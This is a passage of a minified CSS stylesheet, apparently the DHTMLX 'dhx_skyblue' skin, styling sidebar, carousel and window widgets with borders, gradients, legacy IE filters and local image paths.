div.dhxsidebar_item img.dhxsidebar_item_icon{position:relative;display:inline;left:0;top:4px;width:32px;height:32px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons_text div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_item_text{position:relative;display:block;height:16px;margin-top:10px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons_text div.dhxsidebar_side_items div.dhxsidebar_sep{margin:3px 6px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_text div.dhxsidebar_side_items div.dhxsidebar_item{height:23px;line-height:23px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_text div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_item_text{padding-left:14px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_text div.dhxsidebar_side_items div.dhxsidebar_sep{margin-top:2px;margin-bottom:2px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar{position:absolute;background-color:white;margin:0;padding:0;overflow:hidden;cursor:default;z-index:0;background-image:none!important;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_cont_sidebar{position:absolute;border-left:0 solid #a4bed4;border-right:1px solid #a4bed4;border-bottom:1px solid #a4bed4;border-top:1px solid #a4bed4;overflow:hidden;z-index:0;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_cont_sidebar.dhx_cell_cont_no_borders{border-width:0;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_menu_def{position:relative;overflow:hidden;border-width:0 1px 1px 1px;border-color:#a4bed4;border-style:solid;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_menu_def div.dhtmlxMenu_dhx_skyblue_Middle{padding:0 2px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_menu_no_borders{position:relative;overflow:hidden;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_menu_no_borders div.dhtmlxMenu_dhx_skyblue_Middle{padding:0 2px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_toolbar_def{position:relative;overflow:hidden;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue{border-top-width:0;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_ribbon_def div.dhxrb_with_tabbar.dhxtabbar_base_dhx_skyblue{margin-top:-1px;width:auto;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_ribbon_def div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar{border-top-width:0;width:auto;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_statusbar_def{position:absolute;bottom:0;width:100%;background-color:#ddecff;font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text{position:relative;padding:0 4px;height:21px;line-height:21px;border-bottom:1px solid #a4bed4;border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;white-space:nowrap;overflow:hidden;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_progress_bar{position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;z-index:5;opacity:.75;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=75);}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_progress_img{position:absolute;left:0;top:0;border:1px solid #a4bed4;background-position:center 55%;background-image:url('imgs/dhxsidebar_skyblue/dhxsidebar_cell_progress.gif');background-repeat:no-repeat;cursor:progress;z-index:6;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_menu_def{border-width:1px 1px 0 0;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue{border-width:1px 1px 0 0;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_ribbon_def div.dhxrb_with_itembar.dhxtabbar_base_dhx_skyblue{margin-left:-1px;margin-bottom:-1px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_ribbon_def div.dhtmlxribbon_dhx_skyblue.dhxrb_without_itembar{border-width:1px 1px 0 0;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text{border-left-width:0;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_progress_img{border-left-width:0;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows{position:absolute;left:0;bottom:0;height:24px;border-color:#a4bed4;border-style:solid;border-width:1px 1px 1px 1px;font-size:1px;overflow:hidden;z-index:3;-webkit-tap-highlight-color:rgba(0,0,0,0);-ms-touch-action:none;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows.dhxsidebar_arrows_hidden{height:0;border-width:0 1px 1px 1px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow{position:absolute;width:50%;height:100%;top:0;font-size:1px;overflow:hidden;z-index:1;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow.dhxsidebar_arrow_left{left:0;border-right:1px solid #a4bed4;z-index:2;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow.dhxsidebar_arrow_left div.dhxsidebar_arrow_image{background-image:url(\"imgs/dhxsidebar_skyblue/dhxsidebar_arrow_up.gif\");}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow.dhxsidebar_arrow_right{right:0;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow.dhxsidebar_arrow_right div.dhxsidebar_arrow_image{background-image:url(\"imgs/dhxsidebar_skyblue/dhxsidebar_arrow_down.gif\");}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow div.dhxsidebar_arrow_image{position:absolute;left:0;top:0;width:100%;height:100%;background-repeat:no-repeat;background-position:center center;font-size:1px;overflow:hidden;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow:active{background-color:#d2e7fe;background:linear-gradient(#d2e7fe,#d3e7ff);background:-webkit-linear-gradient(#d2e7fe,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#d2e7fe,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);box-shadow:0 0 5px rgba(127,127,127,0.15) inset;}.dhxsidebar_base_dhx_skyblue div.dhxcelltop_progress{position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;z-index:3;opacity:.55;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=55);}.dhxsidebar_base_dhx_skyblue div.dhxcelltop_progress_img{position:absolute;left:0;top:0;width:100%;height:100%;background-image:url('imgs/dhxsidebar_skyblue/dhxsidebar_cell_progress.gif');background-position:center center;background-repeat:no-repeat;z-index:4;}.dhxsidebar_base_dhx_skyblue div.dhxcelltop_hdr{position:relative;}.dhxsidebar_base_dhx_skyblue div.dhxcelltop_ftr{position:absolute;}.dhxsidebar_base_dhx_skyblue div.dhxcelltop_menu{position:relative;overflow:hidden;}.dhxsidebar_base_dhx_skyblue div.dhxcelltop_toolbar{position:relative;background-color:#ebebeb;padding-bottom:4px;overflow:hidden;}.dhxsidebar_base_dhx_skyblue div.dhxcelltop_ribbon{padding-bottom:4px;position:relative;}.dhxsidebar_base_dhx_skyblue div.dhxcelltop_ribbon div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar{width:auto;}.dhxsidebar_base_dhx_skyblue div.dhxcelltop_statusbar{position:absolute;bottom:0;width:100%;background-color:#ebebeb;overflow:hidden;}.dhxsidebar_base_dhx_skyblue div.dhxcelltop_statusbar div.dhxcont_statusbar{position:relative;margin-top:4px;border:1px solid #a4bed4;background-color:#ddecff;padding:7px 6px;font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhxsidebar_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}.dhxcarousel_base_dhx_skyblue{background-color:white;position:relative;cursor:default;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont{position:absolute;left:0;top:0;width:100%;height:100%;overflow:hidden;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area{position:relative;overflow:hidden;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area.dhxcarousel_area_flip{perspective:900px;-webkit-perspective:900;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel{position:absolute;background-color:#fff;margin:0;padding:0;overflow:hidden;cursor:default;z-index:0;-webkit-transform-style:preserve-3d;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_cover{position:absolute;left:0;top:0;width:100%;height:100%;margin:0;padding:0;font-size:1px;background-color:white;overflow:hidden;z-index:1;opacity:.5;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=50);-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_cont_carousel{position:absolute;border:1px solid #a4bed4;overflow:hidden;z-index:0;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_cont_carousel.dhx_cell_cont_no_borders{border-width:0;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_menu_def{position:relative;overflow:hidden;border-width:0 1px 1px 1px;border-color:#a4bed4;border-style:solid;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_menu_def div.dhtmlxMenu_dhx_skyblue_Middle{padding:0 2px;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_menu_no_borders{position:relative;overflow:hidden;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_menu_no_borders div.dhtmlxMenu_dhx_skyblue_Middle{padding:0 2px;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_toolbar_def{position:relative;overflow:hidden;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue{border-top-width:0;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_ribbon_def div.dhxrb_with_tabbar.dhxtabbar_base_dhx_skyblue{margin-top:-1px;width:auto;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_ribbon_def div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar{border-top-width:0;width:auto;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_statusbar_def{position:absolute;bottom:0;width:100%;background-color:#ddecff;font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text{position:relative;padding:0 4px;height:21px;line-height:21px;border-bottom:1px solid #a4bed4;border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;white-space:nowrap;overflow:hidden;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_progress_bar{position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;z-index:5;opacity:.75;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=75);}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_progress_img{position:absolute;left:0;top:0;border:1px solid #a4bed4;background-position:center 55%;background-image:url('imgs/dhxcarousel_skyblue/dhxcarousel_cell_progress.gif');background-repeat:no-repeat;cursor:progress;z-index:6;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_menu_def{border-top-width:1px;border-bottom-width:0;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue{border-top-width:1px;border-bottom-width:0;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhxcarousel_area div.dhx_cell_carousel div.dhx_cell_ribbon_def div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar{border-top-width:1px;border-bottom-width:0;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls{position:absolute;width:100%;height:30px;bottom:0;left:0;z-index:3;overflow:visible;border-top:1px solid #a4bed4;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);-webkit-tap-highlight-color:rgba(0,0,0,0);}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn{position:absolute;bottom:0;width:38px;height:100%;overflow:hidden;font-family:Arial;font-size:14px;color:#5f8db3;border:0 solid #a4bed4;text-align:center;line-height:29px;z-index:2;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_prev:hover,.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_next:hover{background-color:#f1f7ff;background:linear-gradient(#f1f7ff,#e2efff);background:-webkit-linear-gradient(#f1f7ff,#e2efff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#f1f7ff,endColorStr=#e2efff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_prev:active,.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_next:active{background-color:#d2e7fe;background:linear-gradient(#d2e7fe,#d3e7ff);background:-webkit-linear-gradient(#d2e7fe,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#d2e7fe,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);box-shadow:0 0 5px rgba(127,127,127,0.15) inset;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_prev,.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_prev_dis{left:0;border-right-width:1px;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_next,.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_next_dis{right:0;border-left-width:1px;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_prev_dis,.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_next_dis{color:#999;background:#f2f2f2;z-index:1;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_bars{position:absolute;top:9px;text-align:center;font-size:1px;line-height:32px;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_bars div.dhx_carousel_onebar{float:left;position:relative;margin:0 2px;width:12px;height:12px;border:1px solid #5f8db3;border-radius:12px;background-color:white;font-size:1px;overflow:hidden;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_bars div.dhx_carousel_onebar div.dhx_carousel_barcore{display:none;}.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_bars div.dhx_carousel_onebar.dhx_carousel_baractv div.dhx_carousel_barcore{position:absolute;display:block;font-size:1px;margin:0;padding:0;width:6px;height:6px;top:2px;left:2px;border:1px solid #5f8db3;border-radius:12px;background-color:#5f8db3;overflow:hidden;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxcarousel_base_dhx_skyblue div.dhxcelltop_progress{position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;z-index:3;opacity:.55;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=55);}.dhxcarousel_base_dhx_skyblue div.dhxcelltop_progress_img{position:absolute;left:0;top:0;width:100%;height:100%;background-image:url('imgs/dhxcarousel_skyblue/dhxcarousel_cell_progress.gif');background-position:center center;background-repeat:no-repeat;z-index:4;}.dhxcarousel_base_dhx_skyblue div.dhxcelltop_hdr{position:relative;}.dhxcarousel_base_dhx_skyblue div.dhxcelltop_ftr{position:absolute;}.dhxcarousel_base_dhx_skyblue div.dhxcelltop_menu{position:relative;overflow:hidden;}.dhxcarousel_base_dhx_skyblue div.dhxcelltop_toolbar{position:relative;background-color:#ebebeb;padding-bottom:4px;overflow:hidden;}.dhxcarousel_base_dhx_skyblue div.dhxcelltop_ribbon{padding-bottom:4px;position:relative;}.dhxcarousel_base_dhx_skyblue div.dhxcelltop_ribbon div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar{width:auto;}.dhxcarousel_base_dhx_skyblue div.dhxcelltop_statusbar{position:absolute;bottom:0;width:100%;background-color:#ebebeb;overflow:hidden;}.dhxcarousel_base_dhx_skyblue div.dhxcelltop_statusbar div.dhxcont_statusbar{position:relative;margin-top:4px;border:1px solid #a4bed4;background-color:#ddecff;padding:7px 6px;font-family:Tahoma,Helvetica;font-size:11px;color:black;}div.dhx_popup_dhx_skyblue td.dhx_popup_td div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls,.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls{border-bottom:1px solid #a4bed4;}div.dhx_popup_dhx_skyblue td.dhx_popup_td div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_prev,div.dhx_popup_dhx_skyblue td.dhx_popup_td div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_prev_dis,.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_prev,.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_prev_dis,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_prev,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_prev_dis{border-left-width:1px;}div.dhx_popup_dhx_skyblue td.dhx_popup_td div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_next,div.dhx_popup_dhx_skyblue td.dhx_popup_td div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_next_dis,.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_next,.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_next_dis,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_next,.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhxcarousel_base_dhx_skyblue div.dhxcarousel_cont div.dhx_carousel_controls div.dhx_carousel_btn.dhx_carousel_btn_next_dis{border-right-width:1px;}.dhxcarousel_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}.dhxwins_vp_dhx_skyblue{overflow:hidden;position:relative;cursor:default;}.dhxwins_vp_dhx_skyblue div.dhxwin_active{position:absolute;overflow:hidden;border:1px solid #a4bed4;box-shadow:0 0 3px #cecece;border-radius:3px;background:white;cursor:inherit;-webkit-tap-highlight-color:rgba(0,0,0,0);}.dhxwins_vp_dhx_skyblue div.dhxwin_inactive{position:absolute;overflow:hidden;border:1px solid #c1d1de;box-shadow:0 0 3px #dedede;border-radius:3px;background:white;cursor:inherit;-webkit-tap-highlight-color:rgba(0,0,0,0);}.dhxwins_vp_dhx_skyblue div.dhxwin_brd{position:absolute;border-left:5px solid #d3e6fe;border-right:5px solid #d3e6fe;border-bottom:5px solid #d3e6fe;border-bottom-left-radius:2px;border-bottom-right-radius:2px;background:white;z-index:0;}.dhxwins_vp_dhx_skyblue div.dhxwin_brd.dhxwin_hdr_hidden{border-top:5px solid #d3e6fe;border-top-left-radius:2px;border-top-right-radius:2px;}.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhxwin_brd{opacity:.8;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=80);}.dhxwins_vp_dhx_skyblue div.dhxwin_fr_cover{position:absolute;left:0;top:0;width:100%;height:100%;overflow:hidden;background-color:white;z-index:1;opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);}.dhxwins_vp_dhx_skyblue div.dhxwin_fr_cover .dhxwin_fr_cover_inner{position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhxwin_fr_cover{display:none;}.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhxwin_fr_cover{z-index:4;opacity:.5;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=50);}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhxwin_fr_cover.dhxwin_fr_cover_dnd,.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhxwin_fr_cover.dhxwin_fr_cover_resize{display:block;}.dhxwins_vp_dhx_skyblue iframe.dhxwin_main_fr_cover{position:absolute;background-color:white;border-radius:2px;opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr{position:relative;height:30px;line-height:30px;margin:0;padding:0;font-weight:bold;border-top:1px solid white;border-left:1px solid white;border-right:1px solid white;border-top-left-radius:2px;border-top-right-radius:2px;background-color:#e5f0fd;background:linear-gradient(#e5f0fd,#d3e6fe);background:-webkit-linear-gradient(#e5f0fd,#d3e6fe);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e5f0fd,endColorStr=#d3e6fe) progid:DXImageTransform.Microsoft.Alpha(opacity=100);font-family:Tahoma,Helvetica;font-size:11px;color:#34404b;cursor:inherit;overflow:hidden;z-index:3;-ms-touch-action:none;touch-action:none;}.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhxwin_hdr{color:#777;opacity:.8;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=80);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e5f0fd,endColorStr=#d3e6fe);}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr.dhxwin_hdr_parked{border-bottom:1px solid white;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr.dhxwin_hdr_hidden{visibility:hidden;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_icon{position:absolute;left:7px;top:7px;width:18px;height:18px;cursor:default;overflow:hidden;background-image:url(\"imgs/dhxwins_skyblue/dhxwins_icon.gif\");background-position:center center;background-repeat:no-repeat;cursor:inherit;z-index:2;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhxwin_hdr div.dhxwin_icon{opacity:.6;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=60);}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_text{position:relative;padding:0;margin:0;overflow:hidden;white-space:nowrap;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;cursor:inherit;z-index:1;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_text div.dhxwin_text_inside{overflow:hidden;white-space:nowrap;text-overflow:ellipsis;width:100%;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns{position:absolute;right:7px;top:6px;height:18px;cursor:default;overflow:hidden;cursor:inherit;z-index:2;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhxwin_hdr div.dhxwin_btns{opacity:.5;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=50);}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button,.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis{position:relative;float:left;width:15px;height:15px;margin-left:1px;margin-top:2px;border-radius:2px;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;background-image:url(\"imgs/dhxwins_skyblue/dhxwins_buttons.gif\");background-repeat:no-repeat;background-position:0 0;}.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button:hover{background-color:white;}.dhxwins_vp_dhx_skyblue div.dhxwin_hdr 